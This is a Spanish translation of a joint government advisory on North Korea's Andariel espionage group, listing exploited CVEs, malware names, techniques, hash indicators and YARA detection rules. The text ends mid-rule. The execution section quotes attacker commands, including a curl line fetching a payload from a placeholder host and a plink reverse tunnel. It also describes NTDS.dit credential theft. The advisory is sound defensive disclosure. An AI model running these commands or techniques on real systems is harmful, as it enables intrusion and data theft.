Identificación de productos: AA24-207A

25 de julio de 2024

Coautores:

National Cyber Security Centre
a part of GCHQ

Un grupo cibernético de Corea del Norte lleva a cabo una campaña global de espionaje para impulsar los programas militares y nucleares del régimen

Resumen

La Oficina Federal de Investigaciones (FBI, por sus siglas en inglés) de los Estados Unidos y los siguientes socios autores publican este Aviso sobre Ciberseguridad para destacar la actividad de ciberespionaje asociada con la 3.ª oficina del Buró de Reconocimiento General (RGB, por sus siglas en inglés) de la República Popular Democrática de Corea (RPDC), con sede en Pyongyang y Sinuiju:

- Fuerza de Misión Nacional Cibernética (CNMF, por sus siglas en inglés) de EE. UU.
- Agencia de Ciberseguridad y Seguridad de la Infraestructura (CISA, por sus siglas en inglés) de EE. UU.
- Centro de Delitos Cibernéticos del Departamento de Defensa de los Estados Unidos (DC3) de EE. UU.
- Agencia de Seguridad Nacional (NSA, por sus siglas en inglés) de EE. UU.
- Servicio de Inteligencia Nacional (NIS, por sus siglas en inglés) de la República de Corea
- Agencia Nacional de Policía (NPA, por sus siglas en inglés) de la República de Corea
- Centro Nacional de Seguridad Cibernética (NCSC, por sus siglas en inglés) del Reino Unido

La 3.ª oficina del Buró de Reconocimiento General (RGB) incluye un grupo cibernético patrocinado por el estado de la RPDC (también denominada Corea del Norte) conocido públicamente como Andariel, Onyx Sleet (anteriormente PLUTONIUM), DarkSeoul, Silent Chollima y Stonefly/Clasiopa. El grupo ataca principalmente entidades de defensa, aeroespaciales, nucleares y de ingeniería para obtener información técnica confidencial y clasificada, así como propiedad intelectual con el fin de

Para denunciar actividades sospechosas o delictivas relacionadas con la información contenida en este aviso conjunto sobre ciberseguridad, póngase en contacto con la oficina local de la FBI o con el Centro de Operaciones de la CISA, disponible las 24 horas, los 7 días de la semana, enviando un correo electrónico a Report@cisa.gov o llamando al (888) 282-0870. Cuando esté disponible, incluyan la siguiente información sobre el incidente: fecha, hora y lugar del incidente; tipo de actividad; número de personas afectadas; tipo de equipo utilizado para la actividad; el nombre de la empresa u organización presentadora y un punto de contacto designado.

impulsar las ambiciones y los programas militares y nucleares del régimen. Los organismos autores creen que el grupo y las técnicas cibernéticas siguen siendo una amenaza constante para varios sectores industriales en todo el mundo, incluidas, entre otras, entidades de sus respectivos países, así como de Japón y la India. Los agentes de la 3.ª oficina del Buró de Reconocimiento General (RGB) financian su actividad de espionaje a través de operaciones con programas de chantaje contra entidades de atención médica estadounidenses.

Los agentes obtienen acceso inicial a través de la explotación generalizada de servidores web mediante vulnerabilidades conocidas en el programa, como Log4j, con el fin de implementar un web shell y obtener acceso a información y aplicaciones confidenciales para una mayor explotación. Luego, emplean técnicas estándar de descubrimiento y enumeración de sistemas, establecen persistencia mediante tareas programadas y realizan una escalada de privilegios utilizando herramientas comunes de robo de credenciales, como Mimikatz. Los agentes implementan y aprovechan implantes de programas malignos personalizados, herramientas de acceso remoto (RAT, por sus siglas en inglés) y herramientas de código abierto para la ejecución, el movimiento lateral y la filtración de datos.

Por otro lado, los agentes realizan actividades de suplantación de identidad utilizando archivos adjuntos maliciosos, incluidos archivos de acceso directo de Microsoft Windows (LNK) o archivos de secuencias de comandos de aplicaciones HTML (HTA) dentro de archivos comprimidos cifrados o no cifrados.

Los organismos autores animan a las organizaciones de infraestructura crítica a aplicar parches para las vulnerabilidades de manera oportuna, proteger los servidores web contra los web shells, monitorear los puntos finales para detectar actividades maliciosas, y reforzar las protecciones de autenticación y acceso remoto. Si bien no son excluyentes, las entidades involucradas o asociadas con las industrias y los campos mencionados a continuación deben permanecer vigilantes en la defensa de sus redes de las operaciones cibernéticas patrocinadas por el estado de Corea del Norte.

Para obtener información adicional sobre la actividad cibernética maliciosa patrocinada por el estado de la RPDC, consulte la página web de Panorama general y avisos sobre ciberamenazas de Corea del Norte de la Agencia de Ciberseguridad y Seguridad de la Infraestructura (CISA).

Para obtener una copia descargable de los indicadores de compromiso (IOC, por sus siglas en inglés), consulte los siguientes sitios:

- AA24-207A STIX XML (297KB)
- AA24-207A STIX JSON (141KB)

Índice

Información técnica

3.ª oficina del Buró de Reconocimiento General (RGB)

Andariel (también conocido como Onyx Sleet, anteriormente PLUTONIUM, DarkSeoul, Silent Chollima y Stonefly/Clasiopa) es un grupo cibernético patrocinado por el estado de Corea del Norte, bajo la 3.ª oficina del Buró de Reconocimiento General (RGB), con sede en Pyongyang y Sinuiju. Los organismos autores evalúan que el grupo ha pasado de realizar ataques destructivos contra organizaciones estadounidenses y surcoreanas a llevar a cabo operaciones especializadas de ciberespionaje y programas de chantaje.

Ciberespionaje

Actualmente, los agentes tienen como objetivo información militar confidencial y propiedad intelectual de organizaciones de defensa, aeroespaciales, nucleares y de ingeniería. En menor medida, el grupo apunta a las industrias médica y energética. Consulte **la Tabla 1** para obtener más información sobre victimología.

Tabla 1. Victimología del ciberespionaje de Andariel

Industria	Información de interés
Defensa	▪ Tanques pesados y ligeros, y obuses autopropulsados ▪ Vehículos de ataque ligeros y de suministro de munición ▪ Buques de combate litoral y naves de combate ▪ Submarinos, torpedos, vehículos submarinos no tripulados (UUV, por sus siglas en inglés) y vehículos submarinos autónomos (AUV, por sus siglas en inglés) ▪ Servicios de modelado y simulación
Aeroespacial	▪ Aviones de combate y vehículos aéreos no tripulados (UAV, por sus siglas en inglés) ▪ Misiles y sistemas de defensa antimisiles ▪ Satélites, comunicaciones por satélite y tecnología de nanosatélites ▪ Radares de vigilancia, radares multifase y otros sistemas de radar
Nuclear	▪ Procesamiento y enriquecimiento de uranio ▪ Residuos de materiales y almacenamiento ▪ Centrales nucleares ▪ Instalaciones nucleares gubernamentales e institutos de investigación
Ingeniería	▪ Construcción naval e ingeniería marina ▪ Maquinaria robótica y brazos mecánicos ▪ Componentes y tecnología de fabricación aditiva e impresión 3D ▪ Fundición, fabricación, moldeo de metales a alta temperatura, y modelado de caucho y plástico ▪ Procesos y tecnología de mecanizado

La información buscada (como especificaciones de contratos, listas de materiales, detalles de proyectos, dibujos de diseño y documentos de ingeniería) tiene aplicaciones militares y civiles, y lleva a los organismos autores a determinar que una de las principales responsabilidades del grupo es satisfacer los requisitos de recopilación de datos para los programas nucleares y de defensa de Pyongyang.

Programas de chantaje

Los agentes de Andariel financian su actividad de espionaje mediante operaciones con programas de chantaje contra entidades de atención médica de EE. UU. y, en algunos casos, los organismos autores observaron que los agentes lanzan ataques de este tipo y realizan operaciones de ciberespionaje el mismo día, o aprovechan tales ataques contra la misma entidad. Para obtener más información sobre esta actividad con programas de chantaje, consulte los avisos conjuntos #StopRansomware (Detengamos los programas de chantaje): Los ataques con programas de chantaje a la infraestructura crítica financian las actividades cibernéticas maliciosas de la RPDC y Los agentes cibernéticos patrocinados por el Estado norcoreano utilizan estos programas de Maui para atacar al sector de la atención médica y la salud pública.

Actividad maliciosa de ciberespionaje

Este aviso utiliza el marco MITRE ATT&CK para entornos empresariales , versión 15. Consulte el Apéndice: Técnicas de MITRE ATT&CK para ver todas las tácticas y técnicas mencionadas.

Reconocimiento y enumeración

Si bien hay información limitada disponible sobre los métodos de reconocimiento inicial del grupo, es probable que los agentes identifiquen sistemas vulnerables utilizando herramientas de escaneo de Internet disponibles públicamente que revelan información como vulnerabilidades en los servidores web públicos [T1595, T1592]. Los agentes recopilan información de código abierto sobre sus víctimas para utilizarla en sus ataques [T1591] e investigar las vulnerabilidades y exposiciones comunes (CVE, por sus siglas en inglés) cuando se publiquen en la base de datos nacional de vulnerabilidades del Instituto Nacional de Estándares y Tecnología (NIST, por sus siglas en inglés) [T1596]. Las vulnerabilidades y exposiciones comunes (CVE) investigadas incluyen:

- CVE-2023-46604: Apache ActiveMQ
- CVE-2023-42793: TeamCity
- CVE-2023-3519: Citrix NetScaler
- CVE-2023-35078: Ivanti Endpoint Manager Mobile (EPMM)
- CVE-2023-34362: MOVEIt
- CVE-2023-33246: RocketMQ
- CVE-2023-32784: KeePass
- CVE-2023-32315: Openfire
- CVE-2023-3079: Google Chromium V8 (confusión de tipos)
- CVE-2023-28771 y CVE-2023-33010: firmware de Zyxell
- CVE-2023-2868: Barracuda Email Security Gateway
- CVE-2023-27997: FortiGate SSL VPN
- CVE-2023-25690: Apache HTTP Server
- CVE-2023-21932: Oracle Hospitality Opera 5
- CVE-2023-0669: GoAnywhere MFT
- CVE-2022-47966: ManageEngine

- CVE-2022-41352 y CVE-2022-27925: Zimbra Collaboration Suite
- CVE-2022-30190: Microsoft Windows Support Diagnostic Tool
- CVE-2022-25064: TP-LINK
- CVE-2022-24990 y CVE-2021-45837: TerraMaster NAS
- CVE-2022-24785: Moment.js
- CVE-2022-24665, CVE-2022-24664 y CVE-2022-24663: PHP Everywhere
- CVE-2022-22965: Spring4Shell
- CVE-2022-22947: Spring Cloud Gateway
- CVE-2022-22005: Microsoft SharePoint Server
- CVE-2022-21882: Win32k Elevation of Privilege
- CVE-2021-44228: Apache Log4j
- CVE-2021-44142: módulo vfs_fruit de Samba
- CVE-2021-43226, CEV-2021-43207, CVE-2021-36955: vulnerabilidades en los archivos de registro de Windows
- CVE-2021-41773: Apache HTTP Server 2.4.49
- CVE-2021-40684: Talend ESB Runtime
- CVE-2021-3018: IPeakCMS 3.5
- CVE-2021-20038: SMA100 Apache httpd server (SonicWall)
- CVE-2021-20028: SonicWall Secure Remote Access (SRA)
- CVE-2019-15637: Tableau
- CVE-2019-7609: Kibana
- CVE-2019-0708: Microsoft Remote Desktop Services
- CVE-2017-4946: VMware V4H y V4PA

Desarrollo de recursos, herramientas y herramientas de acceso remoto

Los agentes aprovechan herramientas personalizadas y programas malignos para el descubrimiento y la ejecución. Durante los últimos 15 años, el grupo desarrolló herramientas de acceso remoto (RAT), incluidas las siguientes, para permitir el acceso remoto y la manipulación de sistemas y el movimiento lateral.

- Atharvan
- ELF Backdoor
- Jupiter
- MagicRAT
- “No Pineapple”
- TigerRAT
- Valefor/VSingle
- ValidAlpha
- YamaBot
- BottomLoader (consulte el blog de Cisco Talos sobre la Operación Blacksmith)
- NineRAT (consulte el blog de Cisco Talos sobre la Operación Blacksmith)
- NukeSped
- Goat RAT
- Black RAT
- AndarLoader
- DurianBeacon
- Trifaux
- KaosRAT
- Preft
- Programas malignos de tareas programadas de Andariel
- DLang (consulte el blog de Cisco Talos sobre la Operación Blacksmith)
- Nestdoor (consulte el blog de AhnLab)

Estas herramientas incluyen funciones para ejecutar comandos arbitrarios, registro de teclas, capturas de pantalla, listados y directorios de archivos, recuperación del historial del navegador, espionaje de procesos, creación y escritura de archivos, captura de conexiones de red y carga de contenidos en mando y control (C2) [T1587.001, T1587.004]. Las herramientas permiten a los agentes mantener el acceso al sistema de la víctima y cada implante tiene un nodo C2 designado.

Programas malignos de consumo

Los programas malignos de consumo son aquellos que están ampliamente disponibles para su compra o uso y son aprovechados por numerosos agentes de amenazas diferentes. El uso de estos programas disponibles públicamente permite a los agentes ocultar y ofuscar sus identidades, y genera problemas de atribución. Los organismos autores dependen del uso de programas malignos y cargadores personalizados, junto con nodos C2 superpuestos para atribuir los programas malignos de consumo a los agentes. En ocasiones, los agentes han alcanzado un gran éxito aprovechando únicamente programas malignos de código abierto. Los organismos autores identificaron las siguientes herramientas de código abierto como utilizadas o personalizadas por los agentes:

- 3Proxy [T1090]
- AdFind [S0552]
- AsyncRAT
- DeimosC2
- Impacket [T1090]
- Juggernaut [T1040]
- Lilith RAT
- ORVX Web Shell
- Mimikatz [S0002]
- PLINK [T1572]
- ProcDump [T1003]
- PuTTY [T1572]
- SOCKS5 [T1090]
- Stunnel [T1572]
- Web Shell by Orb (WSO)
- WinRAR [T1560]
- WinSCP [T1048]
- RDP Wrapper [T1572]

Acceso inicial

Los agentes obtienen acceso inicial a través de la explotación generalizada de servidores web mediante vulnerabilidades conocidas, como CVE-2021-44228 (“Log4Shell”) el la biblioteca del programa Apache’s Log4j y otras vulnerabilidades y exposiciones comunes (CVE) mencionadas anteriormente, con el fin de implementar un shell web y obtener acceso a información y aplicaciones confidenciales para una mayor explotación. Los agentes siguen penetrando en las organizaciones aprovechando las vulnerabilidades de los servidores web de los dispositivos de cara al público y han llevado a cabo una actividad generalizada contra varias organizaciones al mismo tiempo [T1190].

Ejecución

Los agentes están familiarizados con el uso de herramientas y procesos nativos en los sistemas, conocidos como Living Off The Land (LOTL). Utilizan la línea de comandos de Windows, PowerShell, la línea de comandos de Windows Management Instrumentation (WMIC, por sus siglas en inglés) y los comandos bash de Linux para la enumeración de sistemas, redes y cuentas. Si bien los comandos individuales suelen variar, los organismos autores determinaron que los agentes prefieren los comandos `netstat`, como `netstat – naop` y `netstat –noa` [T1059]. Los ejemplos de comandos utilizados por los agentes incluyen los siguientes:

- netstat –naop
- netstat –noa
- pvhost.exe -N -R [IP Address]:[Port] -P [Port] -l [username] -pw [password] <Remote_IP>
- curl hxxp[://][IP Address]/tmp/tmp/comp[.]dat -o c:\users\public\notify[.]exe
- C:\windows\system32\cmd.exe /c systeminfo | findstr Logon

Estos agentes a menudo cometen errores tipográficos y de otro tipo, lo que indica que los comandos no se copian directamente de un manual de estrategias y que estos agentes tienen un enfoque flexible e improvisado. Los errores tipográficos también demuestran un conocimiento deficiente del idioma inglés, incluidos errores comunes como “Microsoft Cooperation” (en lugar de “Microsoft Corporation”) encontrados en numerosas muestras de programas malignos de la 3.ª oficina del Buró de Reconocimiento General (RGB).

Evasión de defensa

Los agentes suelen empaquetar las herramientas de última fase en VMProtect y Themida. Las herramientas maliciosas empaquetadas en estas y otras herramientas comerciales tienen capacidades avanzadas de detección y depuración. Estos archivos suelen tener un tamaño de varios megabytes y a menudo contienen nombres de sección de archivo poco habituales, como `vmp0` y `vmp1` para VMProtect y Themida, o nombres de sección de archivo aleatorios para Themida [T1027].

Acceso a credenciales

Los agentes emplean un enfoque múltiple para robar credenciales y obtener acceso adicional a los sistemas, incluido el uso de herramientas de robo de credenciales disponibles públicamente como Mimikatz, ProcDump y Dumpert, y el acceso a la base de datos del dominio de Active Directory a través del archivo `NTDS.dit`. Los organismos autores determinaron que los agentes cambian la configuración de los sistemas comprometidos para obligar al sistema a almacenar credenciales y luego utilizan las herramientas mencionadas anteriormente para robar credenciales. En una ocasión, los agentes utilizaron la utilidad de línea de comandos `vssadmin` para realizar una copia de seguridad de un volumen y recuperar una copia del archivo `NTDS.dit` que contenía datos de Active Directory. En otra ocasión, se observó a los agentes recopilando datos de la colmena del registro para extraer credenciales fuera de línea [T1003].

Descubrimiento

Los agentes utilizaron herramientas personalizadas de enumeración de sistemas de archivos escritas en .NET. La herramienta puede recibir y ejecutar argumentos de línea de comandos para enumerar directorios y archivos, y comprimir los archivos de salida. La herramienta recopila la siguiente información para cada unidad seleccionada en un sistema: profundidad relativa a la ruta de inicio, nombre, última hora de escritura, hora del último acceso, hora de creación, tamaño y atributos [T1087, T1083].

Los agentes también enumeran directorios y archivos de dispositivos conectados utilizando el protocolo Server Message Block (SMB), que permite compartir archivos en la red, y solicitar servicios y programas a una red [T1021.002].

Movimiento lateral

Los agentes también utilizan el registro del sistema para el descubrimiento con el fin de moverse lateralmente. El grupo registra los cambios de ventana activos, los datos del portapapeles y las pulsaciones de teclas, y guarda la información de registro recopilada en el directorio `%Temp%`. Los agentes también utilizaron el protocolo de escritorio remoto (RDP, por sus siglas en inglés) para moverse lateralmente [T1021].

Comando y control

Los agentes aprovechan técnicas e infraestructura ubicadas alrededor del mundo para enviar comandos a los sistemas comprometidos. Además, disfrazan sus programas malignos dentro de paquetes HTTP para que parezcan tráfico de red benigno. También utilizan herramientas de tunelización como 3Proxy, PLINK y Stunnel, así como herramientas de tunelización de proxy personalizadas para tunelizar el tráfico mediante diversos protocolos desde el interior de una red hasta un servidor C2.
La tunelización permite a los agentes realizar operaciones C2 a pesar de las configuraciones de red que normalmente supondrían un obstáculo, como el uso de la traducción de direcciones de red (NAT, por sus siglas en inglés) o el tráfico canalizado a través de un proxy web [T1090, T1071].

Recolección y exfiltración

Los programas malignos utilizados anteriormente por los agentes permitían la colocación y el acceso para buscar en archivos que pudieran ser de interés, incluido el escaneado de archivos informáticos en busca de palabras clave relacionadas con los sectores de defensa y militar en inglés y coreano. Los agentes identifican los datos para el robo mediante la enumeración de archivos y carpetas a través de muchos directorios y servidores utilizando la actividad de línea de comandos o la funcionalidad incorporada en herramientas personalizadas. Además, recopilan los archivos relevantes en archivos RAR, a veces utilizando una versión de WinRAR traída al entorno de la víctima con otras herramientas maliciosas [T1560, T1039].

Los agentes suelen filtrar datos a servicios web como almacenamiento en la nube o servidores no asociados a su C2 principal. En particular, se ha observado a los agentes accediendo a cuentas de servicios de almacenamiento en la nube controladas por ellos directamente desde las redes de las víctimas para filtrar datos [T1567]. Por otro lado, se ha observado que los agentes utilizan las utilidades PuTTY y WinSCP para filtrar datos a servidores controlados por Corea del Norte a través del protocolo de transferencia de archivos (FTP, por sus siglas en inglés) y otros protocolos [T1048].

También se ha identificado a los agentes preparando archivos para su filtración en las máquinas de las víctimas, estableciendo conexiones de protocolo de escritorio remoto (RDP) y realizando solicitudes `HTTP GET` en el puerto `80` para recibir información [T1021].

Indicadores de compromiso

Vea a continuación los indicadores de compromiso (IOC) de Andariel.

A continuación, se incluyen los resúmenes criptográficos del algoritmo MD5 observados:

- 88a7c84ac7f7ed310b5ee791ec8bd6c5
- 6ab4eb4c23c9e419fbba85884ea141f4
- 97ce00c7ef1f7d98b48291d73d900181
- 079b4588eaa99a1e802adf5e0b26d8aa
- 0873b5744d8ab6e3fe7c9754cf7761a3
- 0d696d27bae69a62def82e308d28857a
- 0ecf4bac2b070cf40f0b17e18ce312e6
- 1f2410c3c25dadf9e0943cd634558800
- 2968c20a07cfc97a167aa3dd54124cda
- 33e85d0f3ef2020cdb0fc3c8d80e8e69
- 4118d9adce7350c3eedeb056a3335346
- 4aa57e1c66c2e01f2da3f106ed2303fa
- 58ad3103295afcc22bde8d81e77c282f
- 5c41cbf8a7620e10f158f6b70963d1cb

- 17c46ed7b80c2e4dbea6d0e88ea0827c
- 72a22afde3f820422cfdbba7a4cbabde
- 84bd45e223b018e67e4662c057f2c47e
- 86465d92f0d690b62866f52f5283b9fc
- 8b395cc6ecdec0900facf6e93ec48fbb
- 97f352e2808c78eef9b31c758ca13032
- a50f3b7aa11b977ae89285b60968aa67
- afd25ce56b9808c5ed7eade75d2e12a7
- afdeb24975a318fc5f20d9e61422a308
- b697b81b341692a0b137b2c748310ea7
- bcac28919fa33704a01d7a9e5e3ddf3f
- c027d641c4c1e9d9ad048cda2af85db6
- c892c60817e6399f939987bd2bf5dee0
- cdeae978f3293f4e783761bc61b34810
- d0f310c99476f1712ac082f78dd29fdc
- d8da33fae924b991b776797ba8cde24c
- e230c5728f9ea5a94e390e7da7bf1ffa
- f4d46629ca15313b94992f3798718df7
- fb84a392601fc19aeb7f8ce11b3a4907
- ff3194d3d5810a42858f3e22c91500b1
- 13b4ce1fc26d400d34ede460a8530d93
- 41895c5416fdc82f7e0babc6bb6c7216
- c2f8c9bb7df688d0a7030a96314bb493
- 33a3da2de78418b89a603e28a1e8852c
- 4896da30a745079cd6265b6332886d45
- 73eb2f4f101aab6158c615094f7a632a
- 7f33d2d2a2ce9c195202acb59de31eee
- e1afd01400ef405e46091e8ef10c721c
- fe25c192875ec1914b8880ea3896cda2
- 232586f8cfe82b80fd0dfa6ed8795c56
- c1f266f7ec886278f030e7d7cd4e9131
- 49bb2ad67a8c5dfbfe8db2169e6fa46e
- beb199b15bd075996fa8d6a0ed554ca8
- 4053ca3e37ed1f8d37b29eed61c2e729
- 3a0c8ae783116c1840740417c4fbe678
- 0414a2ab718d44bf6f7103cff287b312
- 61a949553d35f31957db6442f36730c5
- ca564428a29faf1a613f35d9fa36313f
- ad6d4eb34d29e350f96dc8df6d8a092e
- dc70dc9845aa747001ebf2a02467c203
- 3d2ec58f37c8176e0dbcc47ff93e5a76
- 0a09b7f2317b3d5f057180be6b6d0755
- 1ffccc23fef2964e9b1747098c19d956
- 9112efb49cae021abebd3e9a564e6ca4
- ac0ada011f1544aa3a1cf27a26f2e288
- 0211a3160cc5871cbcd4e5514449162b
- 7416ea48102e2715c87edd49ddbd1526
- a2aefb7ab6c644aa8eeb482e27b2dbc4
- e7fd7f48fbf5635a04e302af50dfb651
- 33b2b5b7c830c34c688cf6ced287e5be
- e5410abaaac69c88db84ab3d0e9485ac
- eb35b75369805e7a6371577b1d2c4531
- 5a3f3f75048b9cec177838fb8b40b945
- 9d7bd0caed10cc002670faff7ca130f5
- 8434cdd34425916be234b19f933ad7ea
- bbaee4fe73ccff1097d635422fdc0483
- 79e474e056b4798e0a3e7c60dd67fd28
- 95c276215dcc1bd7606c0cb2be06bf70
- 426bb55531e8e3055c942a1a035e46b9
- cfae52529468034dbbb40c9a985fa504
- deae4be61c90ad6d499f5bdac5dad242
- bda0686d02a8b7685adf937cbcd35f46
- 6de6c27ca8f4e00f0b3e8ff5185a59d1
- c61a8c4f6f6870c7ca0013e084b893d2
- 5291aed100cc48415636c4875592f70c
- f4795f7aec4389c8323f7f40b50ae46f
- cf1a90e458966bcba8286d46d6ab052c
- 792370eb01e16ac3dc511143932d0e1d
- 612538328e0c4f3e445fb58ef811336a
- 9767aa592ec2d6ae3c7d40b6049d0466
- b22fd0604c4f189f2b7a59c8f48882dd
- e53ca714787a86c13f07942a56d64efa

- c7b09f1dd0a5694de677f3ecceda41b7
- c8346b39418f92725719f364068a218d
- 730bff14e80ffd7737a97cdf11362ab5
- 9a481bc83fea1dea3e3bdfff5e154d44
- ddb1f970371fa32faae61fc5b8423d4b
- 6c2b947921e7c77d9af62ce9a3ed7621
- 977d30b261f64cc582b48960909d0a89
- 7ce51b56a6b0f8f78056ddfc5b5de67c
- dd9625be4a1201c6dfb205c12cf3a381
- ecb4a09618e2aba77ea37bd011d7d7f7
- 0fd8c6f56c52c21c061a94e5765b27b4
- c90d094a8fbeaa8a0083c7372bfc1897
- 0055a266aa536b2fdadb3336ef8d4fba
- 55bb271bbbf19108fec73d224c9b4218
- 0c046a2f5304ed8d768795a49b99d6e4
- f34664e0d9a10974da117c1ca859dba8
- a2c2099d503fcc29478205f5aef0283b
- e439f850aa8ead560c99a8d93e472225
- 7c30ed6a612a1fd252565300c03c7523
- 81738405a7783c09906da5c7212e606b
- c027d641c4c1e9d9ad048cda2af85db6
- eb7ba9f7424dffdb7d695b00007a3c6d
- 3e9ee5982e3054dc76d3ba5cc88ae3de
- 073e3170a8e7537ff985ec8316319351
- 9b0e7c460a80f740d455a7521f0eada1
- 2d02f5499d35a8dffb4c8bc0b7fec5c2
- 0984954526232f7d05910aa5b07c5893
- 4156a7283284ece739e1bae05f99e17c
- 3026d419ee140f3c6acd5bff54132795
- 7aa132c0cc63a38fb4d1789553266fc7
- 1a0811472fad0ff507a92c957542fffd
- f8aef59d0c5afe8df31e11a1984fbc0a
- 82491b42b9a2d34b13137e36784a67d7
- 0a199944f757d5615164e8808a3c712a
- 9c97ea18da290a6833a1d36e2d419efc
- 16f768eac33f79775a9672018e0d64f5

A continuación, se incluyen los resúmenes criptográficos del algoritmo SHA-256 observados:

- ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6
- db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984
- 773760fd71d52457ba53a314f15dddb1a74e8b2f5a90e5e150dea48a21aa76df
- 05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d
- e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe
- 1962ebb7bf8d2b306c6f3b55c3dcd69a755eeff1a17577b7606894b781841c3a
- f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
- 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1
- b7435d23769e79fcbe69b28df4aef062685d1a631892c2354f96d833eae467be
- 66415464a0795d0569efa5cb5664785f74ed0b92a593280d689f3a2ac68dca66
- def2f01fbd4be85f48101e5ab7ddd82efb720e67daa6838f30fd8dcda1977563
- 323cbe7a3d050230cfaa822c2a22160b4f8c5fe65481dd329841ee2754b522d9
- 74529dd15d1953a47f0d7ecc2916b2b92865274a106e453a24943ca9ee434643
- 1e4de822695570421eb2f12fdfe1d32ab8639655e12180a7ab3cf429e7811b8f
- 8ce219552e235dcaf1c694be122d6339ed4ff8df70bf358cd165e6eb487ccfc5
- c2904dc8bbb569536c742fca0c51a766e836d0da8fac1c1abd99744e9b50164f
- dda53eee2c5cb0abdbf5242f5e82f4de83898b6a9dd8aa935c2be29bafc9a469

- 90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4
- 452ca47230afd4bb85c45af54fcacbfa544208ef8b4604c3c5caefe3a64dcc19
- 199ba618efc6af9280c5abd86c09cdf2d475c09c8c7ffc393a35c3d70277aed1
- 2eb16dbc1097a590f07787ab285a013f5fe235287cb4fb948d4f9cce9efa5dbc
- ce779e30502ecee991260fd342cc0d7d5f73d1a070395b4120b8d300ad11d694
- db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984
- c28bb61de4a6ad1c5e225ad9ec2eaf4a6c8ccfff40cf45a640499c0adb0d8740
- 34d5a5d8bec893519f204b573c33d54537b093c52df01b3d8c518af08ee94947
- 664f8d19af3400a325998b332343a9304f03bab9738ddab1530869eff13dae54
- 772b06f34facf6a2ce351b8679ff957cf601ef3ad29645935cb050b4184c8d51
- aa29bf4292b68d197f4d8ca026b97ec7785796edcb644db625a8f8b66733ab54
- 9a5504dcfb7e664259bfa58c46cfd33e554225daf1cedea2ec2a9d83bbbfe238
- c2500a6e12f22b16e221ba01952b69c92278cd05632283d8b84c55c916efe27c
- 8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b
- 38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07

A continuación, se incluye una lista de cadenas de agentes de usuario utilizadas por los agentes:

- Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
- Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0
- Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
- Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
- Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/68.0.3440.106 Safari/537.36
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
- Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0

Métodos de detección

Consulte **la Tabla 2** para conocer las reglas de YARA, creadas por la FBI, los socios autores y la industria privada, que pueden utilizarse para detectar los programas malignos utilizados por los agentes.

Tabla 2: Reglas YARA

```
rule Andariel_ScheduledTask_Loader
{
   cadenas de caracteres:
      $obfuscation1 = { B8 02 00 00 00 48 6B C0 00 B9 CD FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00
00 00 48 6B C0 01 B9 CC FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 02 B9 8D FF 00
00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 03 B9 9A FF 00 00 66 89 8C 04 60 01 00 00 B8
02 00 00 00 48 6B C0 04 B9 8C FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 05 B9 8A
FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 06 33 C9 66 89 8C 04 60 01 00 00 }
                  $obfuscation2 = { 48 6B C0 02 C6 44 04 20 BA B8 01 00 00 00 48 6B C0 03 C6 44 04 20
9A B8 01 00 00 00 48 6B C0 04 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 05 C6 44 04 20 8A B8 01 00
00 00 48 6B C0 06 C6 44 04 20 9C B8 01 00 00 00 }
                  $obfuscation3 = { 48 6B C0 00 C6 44 04 20 A8 B8 01 00 00 00 48 6B C0 01 C6 44 04 20
9A B8 01 00 00 00 48 6B C0 02 C6 44 04 20 93 B8 01 00 00 00 48 6B C0 03 C6 44 04 20 96 B8 01 00
00 00 48 6B C0 04 C6 44 04 20 B9 B8 01 00 00 00 48 6B C0 05 C6 44 04 20 9A B8 01 00 00 00 48 6B
C0 06 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 07 C6 44 04 20 9E B8 01 00 00 00 48 6B C0 08 C6 44
04 20 9A B8 01 00 00 00 48 6B C0 09 C6 44 04 20 8D B8 01 00 00 00 48 6B C0 0A C6 44 04 20 BC B8
01 00 00 00 }
   condición:
      uint16(0) == 0x5A4D and $obfuscation1 and $obfuscation2 and $obfuscation3
}
```

```
rule Andariel_KaosRAT_Yamabot
{

   cadenas de caracteres:
      $str1 = "/kaos/"
      $str2 = "Abstand ["
      $str3 = "] anwenden"
      $str4 = "cmVjYXB0Y2hh"
      $str5 = "/bin/sh"
      $str6 = "utilities.CIpaddress"
      $str7 = "engine.NewEgg"
      $str8 = "%s%04x%s%s%s"
      $str9 = "Y2FwdGNoYV9zZXNzaW9u"
